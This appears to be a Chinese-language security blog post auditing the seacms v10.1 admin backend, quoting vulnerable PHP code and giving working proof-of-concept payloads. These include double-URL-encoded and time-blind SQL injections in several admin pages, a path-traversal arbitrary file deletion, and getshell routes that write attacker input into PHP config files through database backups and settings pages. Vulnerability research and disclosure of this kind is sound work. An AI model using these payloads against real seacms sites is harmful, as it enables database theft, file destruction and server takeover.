seacms v10.1 代码审计

前言

seacms的后台目录名是安装时随机生成的

后台SQL注入

漏洞点位于/{admin-path}/admin_collect.php ,该处注入的成因主要是因为对变量进行了url解码,导致可以通过二次url编码绕过waf,,漏洞代码

image-20220320180255714

先判断设置的采集规则名称是否存在,不存在则进入insert分支

INSERT INTO `sea_co_type`(`cid`,`tname`,`siteurl`,`getherday`,`coding`,`sock`,`playfrom`,`autocls`,`classid`,`addtime`,`listconfig`)VALUES ('$id','$itemname','$siteurl','$getherday','$coding','$sock','$playfrom','$autocls','$classid','".time()."','$listconfig')

sql语句长这样,更新的值基本都是我们可控的,但是程序对输入的值做了转义处理,也就导致我们无法正常闭合sql语句。但是因为对$listconfig的url解码,使得我们可以通过二次url编码绕过转义。payload构造如下

listconfig=1%2527 or updatexml(1,concat(0x7e,(version())),0) or %2527

image-20220320181927003

如果规则存在,则会进入update分支

update `sea_co_type` set `cid`='$id',`tname`='$itemname',`siteurl`='$siteurl',`getherday`='$getherday',`coding`='$coding',`sock`='$sock',`playfrom`='$playfrom',`autocls`='$autocls',`classid`='$classid',`addtime`='".time()."',`listconfig`='$listconfig' where tid='$tid'

还是同理,简单构造一下

1%2527 or updatexml(1,concat(0x7e,(database())),0) or%2527

image-20220320210818612

后台SQL注入

漏洞点位于/{admin-path}/admin_collect_news.php,结合代码来看

elseif($action=="importok")
{
    $importrule = trim($importrule);
    if(empty($importrule))
    {
        ShowMsg("规则内容为空!","-1");
        exit();
    }
    //对Base64格式的规则进行解码
    if(m_ereg('^BASE64:',$importrule))
    {
        if(!m_ereg(':END$',$importrule))
        {
            ShowMsg('该规则不合法,Base64格式的采集规则为:BASE64:base64编码后的配置:END !','-1');
            exit();
        }
        $importrules = explode(':',$importrule);
        $importrule = $importrules[1];
        $importrule = unserialize(base64_decode($importrule)) OR  die('配置字符串有错误!'); 
        //die(base64_decode($importrule));
    }
    else
    {
        ShowMsg('该规则不合法,Base64格式的采集规则为:BASE64:base64编码后的配置:END !','-1');
        exit();
    }
    if(!is_array($importrule) || !is_array($importrule['config']) || !is_array($importrule['type']))
    {
        ShowMsg('该规则不合法,无法导入!','-1');
        exit();
    }
    $data = $importrule['config'];
    unset($data['cid']);
    $data['cname'].="(导入时间:".date("Y-m-d H:i:s").")";
    $data['cotype'] = '1';
    $sql = si("sea_co_config",$data,1);
    $dsql->ExecuteNoneQuery($sql);

可以看到在atcion importok中,有一个$importrule,根据检查代码,可知其格式应为BASE64:base64编码后的序列化字符串:END,随后对其进行解码和反序列化,得到配置数组,配置数组需要满足一些条件才能使程序继续运行

  • 存在config键,对应值是一个数组
  • 存在type键,对应值也是一个数组

然后将config键对应的数组赋给$data,再给$data数组添加cname cotype两个键,随后调用si方法组装sql语句,跟进si方法

function si($table, $data, $needQs=false)
{
    var_dump($data);
    if (count($data)>1)
    {
        $t1 = $t2 = array();
        $i=0;
        foreach($data as $key=>$value)
        {
            if($i!=0&&$i%2==0)
            {
                $t1[] = $key;
                
                $t2[] = $needQs?qs($value):"'$value'";
            }
            
            $i+=1;
        }
        $sql =  "INSERT INTO `$table` (`".implode("`,`",$t1)."`) VALUES(".implode(",",$t2).")";
        var_dump($sql);
    }
    else
    {
        $arr = array_keys($data);
        $feild = $arr[0];
        $value = $data[$feild];
        $value = $needQs?qs($value):"'$value'";
        $sql = "INSERT INTO `$table` (`$feild`) VALUES ($value)";
    }
    return $sql;
}

该方法的作用就是将$data的键和值,插入到insert语句中,组装出完整语句。但要注意的是,不是每个键值对都会被插入进去,只有元素在数据中的位置(从0开始)非0且为偶数位时才会被插入。还需要注意的是$needQs,这个变量值标志是否会转义键值对中的值,在这里该变量值是被显式传入的,所以会对值进行转义,但是键并不会进行转义,所以我们可以利用键来注入。该处没有回显,所以决定使用时间盲注,构造一下POC

base64_encode(serialize(["config"=>["a"=>"1","b"=>"2","cname`) values ('1' and if(ascii(substr(database(),1,1))>1,sleep(3),0))#"=>"3"],"type"=>[]]));

这里的a,b是为了让恶意键值对排到偶数位,还要注意的是,这里的恶意键值对的开头的键名需要是sea_co_config中存在的,这里选择的是cname
image-20220321150518754

延时成功

后台SQL注入

漏洞点位于/{admin-path}/comment.php,该页面是评论管理页面,先看代码

elseif($action=="delallcomment")
{
    if(empty($e_id))
    {
        ShowMsg("请选择需要删除的评论","-1");
        exit();
    }
    $ids = implode(',',$e_id);
    delcommentcache($ids);
    $dsql->ExecuteNoneQuery("delete from sea_comment where id in(".$ids.")");
    ShowMsg("成功删除所选评论!","admin_comment.php");
    exit();
}

在action delallcomment中,会将$e_id转换为字符串,然后赋给$ids,跟进delcommentcache方法

function delcommentcache($id)
{
    global $dsql;
    $dsql->setQuery("select v_id from sea_comment where id in (".$id.")");
    $dsql->Execute("delcommentcache");
    while($row = $dsql->GetArray("delcommentcache"))
    {
        if(file_exists(sea_DATA.'/cache/review/0/'.$row['v_id'].'.js'))
        {
            delfile(sea_DATA.'/cache/review/0/'.$row['v_id'].'.js');
        }
    }
}

这里直接将$ids拼接进了SQL语句,虽然框架对传入参数做了转义处理,但是该语句使用括号包裹参数值,而括号并不会被转义。我们只要传入一个数组格式的e_id就能进行注入了,不过该操作需要有评论存在,本地环境没有评论,就懒得复现了。

后台任意文件删除

漏洞点位于{admin-path}/admin_template.php,看代码

elseif($action=='del')
{
    if($filedir == '')
    {
        ShowMsg('未指定要删除的文件或文件名不合法', '-1');
        exit();
    }
    if(substr(strtolower($filedir),0,11)!=$dirTemplate){
        ShowMsg("只允许删除templets目录内的文件!","admin_template.php");
        exit;
    }
    $folder=substr($filedir,0,strrpos($filedir,'/'));
    if(!is_dir($folder)){
        ShowMsg("目录不存在!","admin_template.php");
        exit;
    }
    unlink($filedir);
    ShowMsg("操作成功!","admin_template.php?path=".$folder);
    exit;
}

先判断传入路径是否为空,然后截取路径前十一位与$dirTemplate对比

$dirTemplate="../templets";

然后判断文件夹是否存在,最后删除文件。这里并没有对../进行过滤,就可以利用其进行目录穿越实现任意文件删除

image-20220322133725713

数据库备份getshell

黑盒测出来的

image-20220322141409256

随便选择一个数据表,然后备份,会生成一个新文件夹

image-20220322141547611

这里看到config.php

image-20220322141705681

$tb[sea_admin],这个键名就是我们传入的表名,那么将表名改成恶意代码,就可以RCE了

image-20220322141949905

image-20220322142010768

image-20220322142018635

后台GETSHELL

漏洞点位于/{admin-path}/admin_ip.php,看代码

if($action=="set")
{
    $v= $_POST['v'];
    $ip = $_POST['ip'];
    $open=fopen("../data/admin/ip.php","w" );
    $str='<?php ';
    $str.='$v = "';
    $str.="$v";
    $str.='"; ';
    $str.='$ip = "';
    $str.="$ip";
    $str.='"; ';
    $str.=" ?>";
    fwrite($open,$str);
    fclose($open);
    ShowMsg("成功保存设置!","admin_ip.php");
    exit;
}

可以看到,对POST的vip未作任何过滤直接写入ip.php,构造POC

image-20220322144346107

后台GETSHELL

漏洞点位于/{admin-path}/admin_notify.php,原理跟上面一模一样

if($action=="set")
{
    $notify1= $_POST['notify1'];
    $notify2= $_POST['notify2'];
    $notify3= $_POST['notify3'];
    $open=fopen("../data/admin/notify.php","w" );
    $str='<?php ';
    $str.='$notify1 = "';
    $str.="$notify1";
    $str.='"; ';
    $str.='$notify2 = "';
    $str.="$notify2";
    $str.='"; ';
    $str.='$notify3 = "';
    $str.="$notify3";
    $str.='"; ';
    $str.=" ?>";
    fwrite($open,$str);
    fclose($open);
    ShowMsg("成功保存设置!","admin_notify.php");
    exit;
}

还有admin_ping.php admin_smtp.php admin_weixin.php 也存在该漏洞

参考文章

https://y4er.com/post/seacmsv72-anyfile-del-getshell/

本文链接:

http://novic4.cn/index.php/archives/15.html
1 + 6 =
快来做第一个评论的人吧~